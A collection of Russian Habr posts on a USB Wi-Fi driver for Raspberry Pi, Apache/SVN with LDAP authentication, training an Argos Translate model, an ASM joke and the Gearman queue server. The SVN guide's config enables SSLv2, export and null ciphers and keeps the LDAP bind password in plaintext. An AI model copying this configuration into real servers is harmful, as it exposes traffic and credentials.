Начинаю изучать файлы внутри проекта и в одном из них нахожу то, в чем была проблема: у драйвера указывается полный список идентификаторов VID/PID, которые он может обслужить. И для того чтобы наше устройство с этим драйвером работало я просто добавил свой id в файл *rtl8188eu/os\_dep/usb\_intf.c*
```
static struct usb_device_id rtw_usb_id_tbl[] = {
/*=== Realtek demoboard ===*/
{USB_DEVICE(USB_VENDER_ID_REALTEK, 0x8179)}, /* 8188EUS */
{USB_DEVICE(USB_VENDER_ID_REALTEK, 0x0179)}, /* 8188ETV */
/*=== Customer ID ===*/
/****** 8188EUS ********/
{USB_DEVICE(0x07B8, 0x8179)}, /* Abocom - Abocom */
{USB_DEVICE(0x0DF6, 0x0076)}, /* Sitecom N150 v2 */
{USB_DEVICE(0x2001, 0x330F)}, /* DLink DWA-125 REV D1 */
{USB_DEVICE(0x2001, 0x3310)}, /* Dlink DWA-123 REV D1 */
{USB_DEVICE(0x2001, 0x3311)}, /* DLink GO-USB-N150 REV B1 */
{USB_DEVICE(0x2001, 0x331B)}, /* D-Link DWA-121 rev B1 */
{USB_DEVICE(0x056E, 0x4008)}, /* Elecom WDC-150SU2M */
{USB_DEVICE(0x2357, 0x010c)}, /* TP-Link TL-WN722N v2 */
{USB_DEVICE(0x2357, 0x0111)}, /* TP-Link TL-WN727N v5.21 */
{} /* Terminating entry */
};
```
Перекомпилировал драйвер и заново его проинсталлировал в системе.
И уж на этот раз все завелось. Лампочка на адаптере загорелась и в списке сетевых интерфейсов появилось новое устройство.
Просмотр беспроводных интерфейсов выдает следующее:
```
pi@raspberrypi:/home/pi/rtl8188eu# iwconfig
eth0 no wireless extensions.
lo no wireless extensions.
wlan0 unassociated ESSID:"" Nickname:""
Mode:Auto Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/100 Signal level=0 dBm Noise level=0 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
```
#### Бонус для тех кто дочитал до конца
Помните как я говорил, что не важно какая максимальная скорость заявлена на вашем адаптере?
Так вот, на малинке(до выхода модели 4) все устройства(в том числе и ethernet адаптер) сидят на одной шине usb. Здорово, правда? И поэтому пропускная способность шины usb делится между всеми устройствами на ней. При замере скорости и через ethernet, и через usb wi-fi (подключенные к 1 роутеру) и по воздуху, и по проводу выдавало в районе 20Мбит/с.
P.S. Вообще данный гайд по компиляции драйвера под этот конкретный адаптер справедлив не только на RPI. Я потом его повторил и на своем десктопе с Linux Mint — там тоже все заработало. Просто вам точно так же нужно скачать нужные заголовочные файлы для вашей используемой версии ядра.
UPD. Знающие люди подсказали: чтобы не зависеть от версии ядра нужно собирать и устанавливать драйверы с помощью dkms. В readme к драйверу этот вариант тоже есть
```
pi@raspberrypi:/home/pi# sudo dkms add ./rtl8188eu
pi@raspberrypi:/home/pi# sudo dkms build 8188eu/1.0
pi@raspberrypi:/home/pi# sudo dkms install 8188eu/1.0
```
UPD2. Предложеный [патч](https://github.com/lwfinger/rtl8188eu/commit/b9b537aa25a825034a2f79755ddf41a5a8b76b65) для device id был принят в мейнстрим ветку репозитория lwfinger/rtl8188eu.
Ссылки
— [RPi USB Wi-Fi Adapters](https://elinux.org/RPi_USB_Wi-Fi_Adapters)
— [Gitbub lwfinger/rtl8188eu](https://github.com/lwfinger/rtl8188eu)
— [usb.ids](http://www.linux-usb.org/usb.ids)
— [rpi-source](https://github.com/notro/rpi-source) | https://habr.com/ru/post/471564/ | null | ru | null |
# LDAP авторизация в SVN с помощью Apache
Привет, товарищи
Выложу я свою версию настройки LDAP авторизации с помощью Apache.
Она более подробная, чем [чем уже описанная](http://habrahabr.ru/blogs/sysadm/53383/).
Что понадобится:
* Apache 2.2 + open SSL. можно скачать с [apache.org](http://apache.org).
* SVN совместимый с Apache 2.2. Скачивается здесь — [svn.tigris.org](http://svn.tigris.org).
* Openssl-0.9.7e-Win32.zip. можно скачать отсюда — [support.etouch.net/cm/wiki/support.Downloads.wiki/1021721main\_Openssl-0.9.7e-Win32.zip](http://support.etouch.net/cm/wiki/support.Downloads.wiki/1021721main_Openssl-0.9.7e-Win32.zip)
* Стандартный конфиг openssl.cnf — [support.etouch.net/cm/wiki/support.Downloads.wiki/1021722main\_openssl.cnf](http://support.etouch.net/cm/wiki/support.Downloads.wiki/1021722main_openssl.cnf)
Нужные действия:
1. Устанавливаем Apache в C:\Apache.
2. Установливаем SVN в C:\SVN.
3. Установить openssl в C:\openssl.
4. перемещаем openssl.cnf в c:\openssl
5. Создаем(или копируем) репозиторий.
`svnadmin create c:/repositories/test
svnadmin create c:/repositories/secure`
6. создаем ssl сертификаты:
`openssl req -config openssl.cnf -new -out svn.example.com.csr
openssl rsa -in privkey.pem -out svn.example.com.key
openssl x509 -in svn.example.com.csr -out svn.example.com.cert -req -signkey svn.example.com.key -days 1000`
где svn.example.com — имя вашего домена
7. копируем все .dll и .so из C:\SVN\bin в c:\Apache\modules
8. копируем .cert и .key файлы из C:\openssl в C:\Apache\conf
9. редактируем C:\Apache\conf\httpd.conf
`LoadModule dav_module modules/mod_dav.so
LoadModule dav_svn_module modules/mod_dav_svn.so
LoadModule authz_svn_module modules/mod_authz_svn.so
LoadModule ldap_module modules/mod_ldap.so
LoadModule ssl_module modules/mod_ssl.so
LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
Listen 443
Include conf/extra/httpd-vhosts.conf`
10. редактируем C:\Apache\conf\extra\httpd-vhosts.conf
````
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
#указываем имена на файлы сертификатов
SSLCertificateFile conf/svn.example.com.cert
SSLCertificateKeyFile conf/svn.example.com.key
SetEnvIf User-Agent ".\*MSIE.\*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
#делаем редирект с корневого пути
RedirectMatch ^(/)$ http://google.com
#указываем общие настройки для всех репозиториев
Order allow,deny
Allow from all
AuthType Basic
AuthBasicProvider ldap
AuthzLDAPAuthoritative off
AuthName "SVN main repo"
#Указываем путь к LDAP серверу. Важно помнить, что без SSL используется ldap:// и порт 3268
#Так же возможен вариант с портами 389 и 390 для SSL
AuthLDAPURL "ldaps://myDC.domain.com:3269/DC=domain,DC=com?sAMAccountName?sub?(objectClass=\*)"
#указываем DN путь к пользователю, который будет биндится к LDAP серверу.
AuthLDAPBindDN "CN=Apache\_bind,OU=users,OU=my,DC=domain,DC=com"
#Пароль в ОТКРЫТОМ виде
AuthLDAPBindPassword qweqwe
AuthLDAPGroupAttributeIsDN on
AuthLDAPGroupAttribute member
SSLRequireSSL
#запрет на анонимов
SVNPathAuthz on
AuthzSVNAnonymous off
#указываем путь к нашему созданному тестовому репозиторию
DAV svn
AuthName "SVN Test"
SVNPath С:/repositories/test
SVNListparentPath off
#пускаем всех доменных пользователей
require valid-user
#и создаем путь к другому репозиторию с разграничением прав
DAV svn
AuthName "SVN Secure"
SVNPath c:/repositories/Secure
#Даем права на запись группе SVN\_Secure\_write
Require ldap-group CN=SVN\_Secure\_write,OU=my,DC=domain,DC=com
#и ограничиваем пользователей на чтение группе SVN\_Secure\_read
Require ldap-group CN=SVN\_Secure\_read,OU=my,DC=domain,DC=com
````
Вот собственно и все.
доступ к репозиториям теперь такой: [my.domain.com/test](https://my.domain.com/test) и [my.domain.com/secure](https://my.domain.com/secure)
для MS Active Directory ВАЖНО помнить, что АД после таймаута посылает TCP RST вместо TCP FIN клиенту.
Есть обход [www.apachelounge.com/forum/viewtopic.php?t=1995](http://www.apachelounge.com/forum/viewtopic.php?t=1995), либо скачать [www.anneb.dds.nl/httpd-2.2.6\_ldappatch\_win32\_vc6.zip](http://www.anneb.dds.nl/httpd-2.2.6_ldappatch_win32_vc6.zip)
а содержимое положить в С:\Apache\Modules1
можно хранить репозитории удаленно.
для их указания в директиве SVNPath должен быть такой вид (для MS Windows) //server/repos/repo (или по старому \\\\server\\repos\\repo)
Используемые статьи:
[www.orcaware.com/svn/wiki/Subversion\_configured\_for\_Windows\_Active\_Directory\_HTTPS](http://www.orcaware.com/svn/wiki/Subversion_configured_for_Windows_Active_Directory_HTTPS)
[www.opennet.ru/base/net/subversion\_ldap.txt.html](http://www.opennet.ru/base/net/subversion_ldap.txt.html)
Буду рад конструктивной критике. :) | https://habr.com/ru/post/73403/ | null | ru | null |
# Как создать переводчик, который переводит лучше, чем Google Translate
Помню, как еще в школе на Basic я писал программу-переводчик. И это было то время, когда ты сам составлял словарь, зашивал перевод каждого слова, а затем разбивал строки на слова и переводил каждое слово в отдельности. В то время я, конечно же, не мог и представить, как сильно продвинутся технологии, и программы-переводчики станут в основе использовать механизмы глубокого обучения с архитектурой трансформера и блоками внимания.
В этот раз я решил окунуться немного в прошлое и сделать то, что хорошо сделать тогда у меня не получилось.
В современных задачах системы перевода нужны достаточно часто, а специалисту, занимающемуся машинным обучением, возможно чаще, чем в других видах деятельности. Потребность в переводчике стала мне необходима, и я решил прибегнуть к использованию облачных решений, в частности Google Translate.
Я программирую на python, и в python есть отличная библиотека translators. Данная библиотека позволяет использовать множество различных сервисов по переводу. Причем абсолютно бесплатно. Однако, все же данное решение не идеально по нескольким причинам:
1. Перевод выполняется достаточно долго.
2. При большом количестве запросов, переводчик начинает пропускать предложения, т.е. оставляет их в непереведенном виде. Причем никаких ошибок при этом не выводится.
3. Качество перевода не самое высокое, как я это проверял, я расскажу в своей статье ниже.
Конечно же, не стоит изобретать велосипед, поэтому я стал использовать отличное готовое решение Argos Translate. Это open-source бесплатное решение для машинного перевода. Поддерживается огромное количество языков. Может работать в разных режимах: и как десктоп приложение, и как веб приложение, и как библиотека к python.
Автор сам обучает и совершенствует модели для различных языков, однако мне нужна была модель по переводу с английского на русский язык, но данная модель в этой программе не достаточно хороша и никем не поддерживается. Поэтому я решил поддержать проект и взяться за обучение модели перевода с английского на русский язык, чтобы существенно повысить качество перевода имеющейся модели.
Автор проекта Argos Translate поставляет свой скрипт обучения, доступный всем желающим. Для обучения своей модели я взял его за основу, однако в процессе несколько его видоизменил. Далее я покажу основные составляющие процесса обучения модели машинного перевода и разобью их на составные части для лучшего понимания.
### Этап 1: Подготовка данных для обучения
Для обучения модели машинного перевода необходимо большое количество параллельных корпусов текстов, к счастью, в сети есть очень большое количество параллельных корпусов текста, за основу я взял датасеты с сайта https://opus.nlpl.eu/
В качестве данных для обучения я использовал список корпусов текстов: ada83.en-ru, bible-uedin.en-ru, Books.en-ru, CCMatrix.en-ru, ELRC_2922.en-ru, EUbookshop.en-ru, GlobalVoices.en-ru, GNOME.en-ru, infopankki.en-ru, KDE4.en-ru, MultiUN.en-ru, News-Commentary.en-ru, OpenSubtitles.en-ru, ParaCrawl.en-ru, PHP.en-ru, QED.en-ru, Tanzil.en-ru, Tatoeba.en-ru, TED2013.en-ru, TED2020.en-ru, tico-19.en-ru, TildeMODEL.en-ru, Ubuntu.en-ru, UN.en-ru, WikiMatrix.en-ru, wikimedia.en-ru, WMT-News.en-ru
В общем итоге у меня получилось собрать тренировочный корпус размером более 80 млн пар предложений.
Для последующей тренировки все данные нам необходимо собрать в файлы:
1. src-train.txt - все исходные предложения на русском языке,
2. tgt-train.txt - все переводы предложений на английском языке,
3. all.txt - все предложения корпуса на двух языках, данный файл необходим для генерации общего словаря,
4. src-val.txt - 2000 предложений для валидации,
5. tgt-val.txt - 2000 переводов предложений для валидации.
### Этап 2: Генерация словаря токенов
В качестве основного движка модели используется библиотека нейронного машинного перевода OpenNMT-py с открытым исходным кодом на pytorch.
Библиотека для тренировки использует yml конфигурационные файлы, в которых описываются параметры тренировки модели.
Я использовал стандартный конфиг из репозитория argos-train: https://github.com/argosopentech/argos-train/blob/master/config.yml
В моделях перевода argos translate используется общий словарь для обоих языков.
Для генерации словаря, используется следующий скрипт, в нем берутся первые 10 млн случайных предложений из корпуса, и генерируется из них словарь размером в 50 тысяч токенов.
[code]
#!/bin/bash
spm_train --input=run/split_data/all.txt --model_prefix=run/sentencepiece --vocab_size=50000 --character_coverage=0.9995 --input_sentence_size=10000000 --shuffle_input_sentence=true --split_digits
[/code]
В качестве генерации словаря используется очень популярный токенизатор SentencePiece, который использует в качестве словаря наиболее частотные единицы подслов.
Для перевода модели токенизатора SentencePiece в словарь модели используется команда:
[code]
#!/bin/bash
onmt_build_vocab -config config.yml -n_sample -1
[/code]
и часть конфига отвечающая за формирование словаря:
[code]
#config.yml
## Where the samples will be written
save_data: run/opennmt_data
## Where the vocab(s) will be written
src_vocab: run/opennmt_data/openmt.vocab
tgt_vocab: run/opennmt_data/openmt.vocab
# Should match the vocab size for SentencePiece
# https://forum.opennmt.net/t/opennmt-py-error-when-training-with-large-amount-of-data/4310/12?u=argosopentech
src_vocab_size: 50000
tgt_vocab_size: 50000
share_vocab: True
# Corpus opts:
data:
corpus_1:
path_src: run/split_data/src-train.txt
path_tgt: run/split_data/tgt-train.txt
transforms: [sentencepiece, filtertoolong]
valid:
path_src: run/split_data/src-val.txt
path_tgt: run/split_data/tgt-val.txt
transforms: [sentencepiece, filtertoolong]
### Transform related opts:
#### https://opennmt.net/OpenNMT-py/FAQ.html#how-do-i-use-the-transformer-model
#### Subword
src_subword_model: run/sentencepiece.model
tgt_subword_model: run/sentencepiece.model
src_subword_nbest: 1
src_subword_alpha: 0.0
tgt_subword_nbest: 1
tgt_subword_alpha: 0.0
#### Filter
src_seq_length: 150
tgt_seq_length: 150
[/code]
### Этап 3: Тренировка модели
В качестве архитектуры обучаемой модели используется архитектура трансформера, состоящая из кодировщика и декодировщика, каждый размером 6 слоев. 8 голов самовнимания. Размером эмбединга – 512, и размером скрытого связующего состояния между кодировщиком и декодировщиком – 2048.
[code]
#config.yml
# Model
encoder_type: transformer
decoder_type: transformer
position_encoding: true
enc_layers: 6
dec_layers: 6
heads: 8
rnn_size: 512
word_vec_size: 512
transformer_ff: 2048
dropout_steps: [0]
dropout: [0.1]
attention_dropout: [0.1]
[/code]
В качестве оптимизатора используется Adam, в начале обучения в течение первых 8000 шагов используется прогрев модели, с последующим снижением скорости обучения.
Для запуска процесса обучения используется команда:
[code]
#!/bin/bash
onmt_train -config config.yml
[/code]
Обучение моей модели длилось 100 000 шагов и в общем случае занимает от 2 до 5 дней, в зависимости от конфигурации оборудования.
### Этап 4: Тестирование качества модели
После обучения нам необходимо проверить, насколько хорошо переводит наша модель.
Для оценки качества модели я использовал отдельный параллельный корпус "Yandex Translate corpus 1m version 1.3" размером в 1 млн пар предложений, в качестве метрики я использовал метрику BLEU Score.
Я использовал следующий скрипт для тестирования модели
[code]
#!/bin/bash
#тестирование модели по метрике BLEU
#https://opennmt.net/OpenNMT-py/examples/Translation.html?highlight=bleu
echo "Step 001 Токенизируем наш корпус тестирования"
spm_encode --model=run/sentencepiece.model \
< argos-train/csv/test_crps/src-test.txt \
> argos-train/csv/test_crps/src-test.txt.sp
spm_encode --model=run/sentencepiece.model \
< argos-train/csv/test_crps/tgt-test.txt \
> argos-train/csv/test_crps/tgt-test.txt.sp
echo "Step 002 Переведем наш корпус с помощью модели"
for checkpoint in run/openmt.model_step*.pt; do
echo "# Translating with checkpoint $checkpoint"
base=$(basename $checkpoint)
onmt_translate \
-gpu 0 \
-batch_size 2048 -batch_type tokens \
-beam_size 5 \
-model $checkpoint \
-src argos-train/csv/test_crps/src-test.txt.sp \
-tgt argos-train/csv/test_crps/tgt-test.txt.sp \
-output run/wmt/test.ru.hyp_${base%.*}.sp
done
echo "Step 003 Декодируем перевод из токенов обратно в текст"
for checkpoint in run/openmt.model_step*.pt; do
base=$(basename $checkpoint)
spm_decode \
-model=run/sentencepiece.model \
-input_format=piece \
< run/wmt/test.ru.hyp_${base%.*}.sp \
> run/wmt/test.ru.hyp_${base%.*}
done
echo "Step 004 Сравним два корпуса по оценке BLEU Score"
for checkpoint in run/openmt.model_step*.pt; do
echo "$checkpoint"
base=$(basename $checkpoint)
sacrebleu argos-train/csv/test_crps/tgt-test.txt < run/wmt/test.ru.hyp_${base%.*}
done
echo "Step End"
[/code]
По итогам обучения моя модель получила метрику BLEU: 21.6
Для сравнения с другим переводчиком, я перевел 1 млн предложений из тестового корпуса Yandex через библиотеку translators, переводчиком Google Translate.
Отдельно сравнил качество с помощью команды:
[code]
#!/bin/bash
sacrebleu argos-train/csv/test_crps/tgt-test.txt < argos-train/csv/test_crps/tgt-test_google.txt
[/code]
В итоге получил метрику BLEU Score полученного перевода бесплатного Google переводчика BLEU: 18.7
Что означает, что полученная мною модель переводит с русского на английский лучше, чем бесплатный Google Translate.
### Этап 5: Упаковываем модель в Argos Translate
Для упаковки модели в формат Argos Translate, необходимо выполнить ряд преобразований.
1. Конвертация модели из checkpoint:
[code] #!/bin/bash
./../OpenNMT-py/tools/average_models.py -m run/openmt.model_step_100000.pt run/openmt.model_step_100000.pt -o run/averaged.pt
[/code]
2. Квантизация модели:
[code]
#!/bin/bash
ct2-opennmt-py-converter --model_path run/averaged.pt --output_dir run/model --quantization int8
[/code]
3. Конвертация модели в формат argos translate:
[code] #!/usr/bin/env python3
from pathlib import Path
import json
import subprocess
import shutil
import sys
import argostrain
from argostrain.dataset import *
from argostrain import data
from argostrain import opennmtutils
from argostrain import settings
import stanza
from_code = input("From code (ISO 639): ")
to_code = input("To code (ISO 639): ")
from_name = input("From name: ")
to_name = input("To name: ")
version = input("Version: ")
package_version = version
argos_version = "1.5"
package_version_code = package_version.replace(".", "_")
model_dir = f"translate-{from_code}_{to_code}-{package_version_code}"
model_path = Path("run") / model_dir
subprocess.run(["mkdir", model_path])
subprocess.run(["cp", "-r", "run/model", model_path])
subprocess.run(["cp", "run/sentencepiece.model", model_path])
# Include a Stanza sentence boundary detection model
stanza_model_located = False
stanza_lang_code = from_code
while not stanza_model_located:
try:
stanza.download(stanza_lang_code, dir="run/stanza", processors="tokenize")
stanza_model_located = True
except:
print(f"Could not locate stanza model for lang {stanza_lang_code}")
print(
"Enter the code of a different language to attempt to use its stanza model."
)
print(
"This will work best for with a similar language to the one you are attempting to translate."
)
print(
"This will require manually editing the Stanza package in the finished model to change its code"
)
stanza_lang_code = input("Stanza language code (ISO 639): ")
subprocess.run(["cp", "-r", "run/stanza", model_path])
subprocess.run(["cp", "run/metadata.json", model_path])
subprocess.run(["cp", "run/README.md", model_path])
package_path = (
Path("run") / f"translate-{from_code}_{to_code}-{package_version_code}.argosmodel"
)
shutil.make_archive(model_dir, "zip", root_dir="run", base_dir=model_dir)
subprocess.run(["mv", model_dir + ".zip", package_path])
# Make .argoscheckpoint zip
latest_checkpoint = opennmtutils.get_checkpoints()[-1]
print(latest_checkpoint)
print(latest_checkpoint.name)
print(latest_checkpoint.num)
print(f"Package saved to {str(package_path.resolve())}")
[/code]
Далее мы получаем готовую модель файла в виде "translate-en_ru-1_7.argosmodel", которую можно подгрузить и использовать в продукте Argos Translate.
### В качестве заключения
В рамках данной статьи я показал, что обучить свою модель машинного перевода, которая переводит лучше, чем бесплатный Google Translate, не так уж и сложно, и под силу практически каждому.
Кроме того, я показал, что существуют бесплатные продукты вроде Argos Translate, с помощью которых можно переводить тексты, не прибегая к облачным вычислителям.
Так как продукт Argos Translate является бесплатным, то я поделился с сообществом своей обученной моделью в комьюнити продукта. Разработчики Argos Translate приняли мою модель Russian - English и включили в основной репозиторий моделей машинного перевода в качестве основной модели под версией 1.7.
Если у вас есть идеи, как еще можно улучшить качество перевода данной модели, пишите их в комментариях, и мы вместе сможем еще сильнее улучшить данную модель!
Эксперт по Машинному обучению в IT-компании Lad. | https://habr.com/ru/post/689580/ | null | ru | null |
# ООП на ASM
Как говорится, и на Марсе будут яблони цвести!
`register AX extends AL implements AH {
}
register EAX extends AX {
}` | https://habr.com/ru/post/25469/ | null | ru | null |
# Сервер очередей Gearman: опыт практического использования и веб-приложение Gearman Monitor && Control
Сервер очередей Gearman — прекрасный инструмент. Но в работе сервер очередей в чем-то напоминает системный блок: что-то делает, но для того чтобы знать, что именно, и управлять процессом, нужен монитор с клавиатурой, и представление о том, что вообще происходит в системном блоке.
Зачастую кажется, что Gearman — как диковинный инструмент без рукоятки: интересен и красив, но неясно, зачем нужен, а пользоваться болезненно.
Нужно выбраться из этой ситуации, Gearman действительно хорош.
Давайте рассмотрим:
* Gearman «на пальцах»
* примеры реальных задач с использованием Gearman
* веб-приложение и класс для мониторинга в реальном времени и управления процессами на сервере очередей Gearman
Интересно? Прошу под кат.
##### Можно ли объяснить принцип работы Gearman «на пальцах»?
Можно.
**Что такое воркер?**
Это просто консольный скрипт, на каком языке программирования — неважно. Скрипт запущен постоянно, это демон.
При запуске воркер-демон отправляет на сервер строки — имена функций, которые он может выполнить, открывает сокет на сервер и ждет.
**Какие данные получает воркер?**
Воркеру приходит две строки: первая — имя ф-и, которую нужно выполнить, и вторая — аргумент. Подчеркнем: воркеру нельзя передать несколько аргументов, массив, объект — только строка, все другие виды данных должны быть приведены к строке — сериализация или json.
Собственно, что удивительного — вся передача данных по протоколу, например, HTTP — это тоже передача только строк.
**Откуда приходят строки — задания для воркера?**
Клиент Gearman, отправляя на сервер задачу, передает как раз две строки — имя функции, которую нужно выполнить, и аргумент в виде строки. При этом задача в очереди помечается как находящаяся в процессе выполнения.
**И что дальше?**
Если задача — фоновая, воркер выполняет функцию и передает на сервер только сигнал выполнения ф-и. Если задача — не фоновая, воркер передает Gearman строку — результат выполнения ф-и, и сигнал выполнения.
При получении сигнала выполнения Gearman отмечает задачу как выполненную и удаляет ее из очереди.
**А если в процессе выполнения функции воркер аварийно завершит работу или в ф-и возникнет нештатная ситуация — то есть ф-я не выполнится?**
Gearman в этом случае не получит сигнала успешного завершения, и задача останется в очереди
**Что такое клиент?**
Отдельное понятие «клиент» для Gearman сложно выделить. Можно обращаться к Gearman из ЯП, отправляя и принимая данные — можно отправить и ждать, можно в фоновом режиме. Но все еще проще.
**«Получает», «отправляет», «приходят» — как происходит обмен данными с сервером? Нужны низкоуровневые дополнения в ЯП?**
Общение с Gearman происходит через сокеты. Можно вообще не иметь дополнений в ЯП для работы с Gearman, обойтись работой с сокетами и Telnet. Так, например, в PHP работать с Gearman можно, установив [PECL дополнение](https://pecl.php.net/package/gearman) в язык, а можно использовать [Pear библиотеку](https://pear.php.net/package/Net_Gearman/), просто подключив файлы нескольких классов.
**Если клиент отправит на сервер задачу, а воркера нет для этой функции нет — или нет свободного, или нет вообще?**
Задача «повиснет» в ожидании воркера. Если придут еще задачи на эту же функцию, образуется очередь — Gearman сервер очередей все же.
**Можно ли на сервере очередей различить две задачи на одинаковую функцию?**
Нет. Ни по аргументу, никак.
**Можно ли узнать, какая в очереди отправленная задача?**
Поскольку задачи на одну и ту же ф-ю неразличимы, то нет.
**Можно ли узнать, сколько задач в очереди?**
Да. Можно также узнать, сколько воркеров может обработать эту задачу, и откуда эти воркеры (IP).
**Представим, что поступила одна задача, и ее могут выполнить несколько воркеров. Кому достается задача?**
Задачи неразличимы, но и воркеры тоже неразличимы. Какому именно воркеру Gearman отдаст задачу — так просто не ответить. Очереди воркеров нет.
**Какие виды задач бывают на сервере очередей?**
Задачи можно разделить 1) по приоритетам, 2) фоновая задача или нет
1) Приоритетов три — обычный, low — менее приоритетный, чем обычный, и high — более высокого, чем обычный, приоритета. Приоритет учитывается в очереди, по умолчанию — обычный приоритет.
2) Фоновая задача ничего не отдает серверу очередей, и клиент не получает никаких данных. Обычная задача должна вернуть строку, и Gearman отдаст эту строку клиенту как результат выполнения задачи.
**Сколько можно одновременно запустить воркеров?**
Тут нужно уточнить — не сколько запустить, а сколько воркеров может одновременно подключиться к Gearman для обработки задач.
Теоретически — сколько угодно. В реальности максимальное числов воркеров может быть ограничено максимальным числом одновременных потоков на внешний ресурс, числом одновременных подключений к БД и прочими условиями, не зависящими от Gearman. Автору этих строк удавалось запустить около 1000 на одном сервере, далее начинала ругаться MySQL.
**Можно ли работать в PHP с Gearman на Windows?**
Вопрос разделяется на два: 1) можно ли запустить сам сервер очередей Gearman на Windows и 2) можно ли работать с уже имеющимся на внешнием хосте сервером очередей.
1) есть [вариант установки Gearman на Windows с использованием cygwin](https://gist.github.com/mnapoli/5270256)
2) Для комфортной работы, для использования в коде привычных конструкций вида
```
$worker = new GearmanWorker();
$worker->addServer()
```
и подобных требуются дополнения в язык. Это сразу накладывает ограничения: вы не только не можете это сделать под Windows, но и не сможете это сделать на хостинге, если у вас нет прав на доступ к серверу, позволяющих устанавливать пакеты.
Denwer и OpenServer не содержат дополнений для работы с Gearman.
Значит, выхода нет, Gearman — только для \*nix систем?
Нет конечно. Решение проблемы — подключение к проекту библиотеки [Pear Net\_Gearman](https://pear.php.net/package/Net_Gearman/)
Там другие названия классов и немного другая логика, но пережить это можно и работать с Gearman позволяет полноценно.
#### Реальные задачи с использованием Gearman
1) Рекламное агентство сопровождает рекламные кампании AdWords и Яндекс.Директ для средних и крупных интернет-магазинов. Информация о товарах меняется постоянно: меняются цены (курс доллара и пр.), появляются новые товары, некоторые товары заканчиваются на складе, некоторые снимаются с продажи. Товаров в каждом магазине тысячи и десятки тысяч.
Задача: сделать так, чтобы информация в рекламе AdWords и Яндекс.Директ была актуальной: нужно менять цены, добавлять рекламные объявления/группы/кампании для новых товаров, останавливать рекламу для закончившихся на складе, удалять объявления для товаров, снятых с продажи.
Задача просто решается с использованием Gearman: из БД формируем задачи — изменение цен, добавление, остановка, удаление. Далее задачи бросаются на сервер очередей, и там спокойно обрабатываются в несколько потоков: воркеры обращаются к API AdWords или API Яндекс.Директ и выполняют требуемые операции.
Получилось вот так:
Gearman здесь решает две задачи: параллельное выполнение процессов — раз, и регулирование доступа к внешним ресурсам.
*Ни AdWords API, ни Яндекс.Директ API не дадут вам выполнять операции в сто, например, потоков — есть ограничение на количество запросов в секунду. В моем случае получилось максимум 4 потока к AdWords API и 8 потоков к Яндекс.Директ API.*
*О времени выполнения. Начальная загрузка 10к товаров занимает до несколько часов, создается несколько сотен тысяч объявлений, несколько сотен кампаний и пр. Обновление — несколько минут, полностью в автоматическом режиме.*
2) Продолжение задачи 1. Почти все магазины передают данные в виде XML-файла. Но некоторые присылают XLS-файл. Нет проблемы получить данные из XLS-файла, есть PHPExcel. Но у PHPExcel есть нюанс: при обработке больших файлов он сильно тормозит, но главное — потребляет память вплоть до превышения лимитов в php.ini 1024Мб и больше.
Процесс обработки файла XLS с помощью PHPExcel может быть распараллелен (идея была почерпнута из [вот этой публикации](https://habrahabr.ru/post/148203/), спасибо [MParshin](https://habrahabr.ru/users/mparshin/)). Воркеры читают файл по строкам, каждый воркер — свои строки, таким образом, процесс распараллеливается.
Здесь Gearman решает две задачи: 1)параллельная обработка и 2)обход ограничения на лимит памяти одного PHP-скрипта.
Разумеется, в этом случае тоже нельзя запустить тысячу, например, воркеров — память сервера тоже не бесконечна. В моем случае получалось обрабатывать XLS-файл в 20 потоков.
3) Крупный вендор — производитель оборудования — хочет знать, по каким ценам реально торгуется его оборудование. Данные можно получить из каталога, но опять же — только с сайта. Процесс стандартный: парсер, воркеры в несколько потоков получают данные с сайта каталога.
Наличие API в разработанной системе Gearman Monitor && Control позволяет демонстрировать клиенту — вендору — получение данных в реальном времени.
Здесь Gearman решает две задачи: параллельное получение и обработка данных, и отображение процесса в реальном времени.
Вот клиентский интерфейс системы.
4) Поставщики гостиничных услуг предоставляют данные. Задача: отобразить гостиницы на карте. Задача вроде бы совсем простая, так как данные предоставляются вместе с координатами. Но, к сожалению, многие из предоставленных координат неверные, и клиентам показывать такое нельзя — адрес в одном месте, а маркер гостиницы — совсем в другом. Было принято решение самостоятельно получать данные с помощью геокодера Гугла, используя адреса гостиниц. Но при простом вызове геокодера в яваскрипте многие маркеры не отображаются — яваскрипт пытается одновременно получить адреса всех гостиниц, геокодер блокирует большинство запросов из-за превышения лимита на число обращений в секунду.
Решение: все запросы геокодера из яваскрипта направляются на свой прокси, которые передает задачу на сервер очередей.
Здесь Gearman решает задачу регулирования и ограничения доступа к внешнему ресурсу — API геокодера Гугла.
5) Последний пример — комплексное использование сервера очередей. На сайте предоставлена специфическая информация о нескольких тысячах объектов. Задача: получить и перевести эту информацию. Решение: запускаем воркеры для получения информации, и воркеры для перевода. Первые воркеры в несколько потоков получают информацию, как только воркер получил требуемый текст, он опять ставит задачу на сервер очередей, задачу для воркеров перевода. Воркеры-переводчики переводят ее и кладут уже готовый материал в БД.
Gearman здесь используется стандартно — получение и обработка информации в несколько потоков, нюанс только в том, что воркеры сами ставят задачи другим воркерам.
На основе практических задач появились требования к системе управления Gearman
Представим, что мы работаем с сервером очередей. Как запустить один воркер? Набираем в консоли `php worker.php`
Ок, нужно запустить 20 воркеров для параллельной обработки. Открыть 20 консолей? Не вариант. Или нужно запустить несколько разных воркеров — та же проблема. Итак, требуется метод класса и реализация в веб-интерфейсе:
***— запуск воркеров, с выбором какого именно и указанием количества***
Ок, разрабатываем дальше, запустили воркер, он работает. А остановить его как? Обязательно нужна
***— остановка воркеров***
Ситуация: запустили несколько разных воркеров в процессе разработки, и — ой, стоп, все назад, параметр не тот! Нас выручит:
— остановка всех воркеров одним действием
Но воркер — он как маленький ребенок: делает чего-то, а что — неясно, за ним присмотр нужен. Для этого потребуется:
***— логирование работы воркера***
Тут чуть подробнее. Очень приятно видеть, что делает воркер, наслаждаться творением. Но вот ситуация: бац — и воркер вылетел. Или еще лучше — вообще не стартует. А что за ошибка? В коде неправильно, или исключение необработанное, или ошибку от внешнего сервиса не предусмотрели? Поэтому:
***— логирование ошибок воркера, включая фатальные***
Лог может быть большим, просмотр его утомителен, а зачастую невозможен из-за объема. требуется
***— поиск в логе произвольного текста***
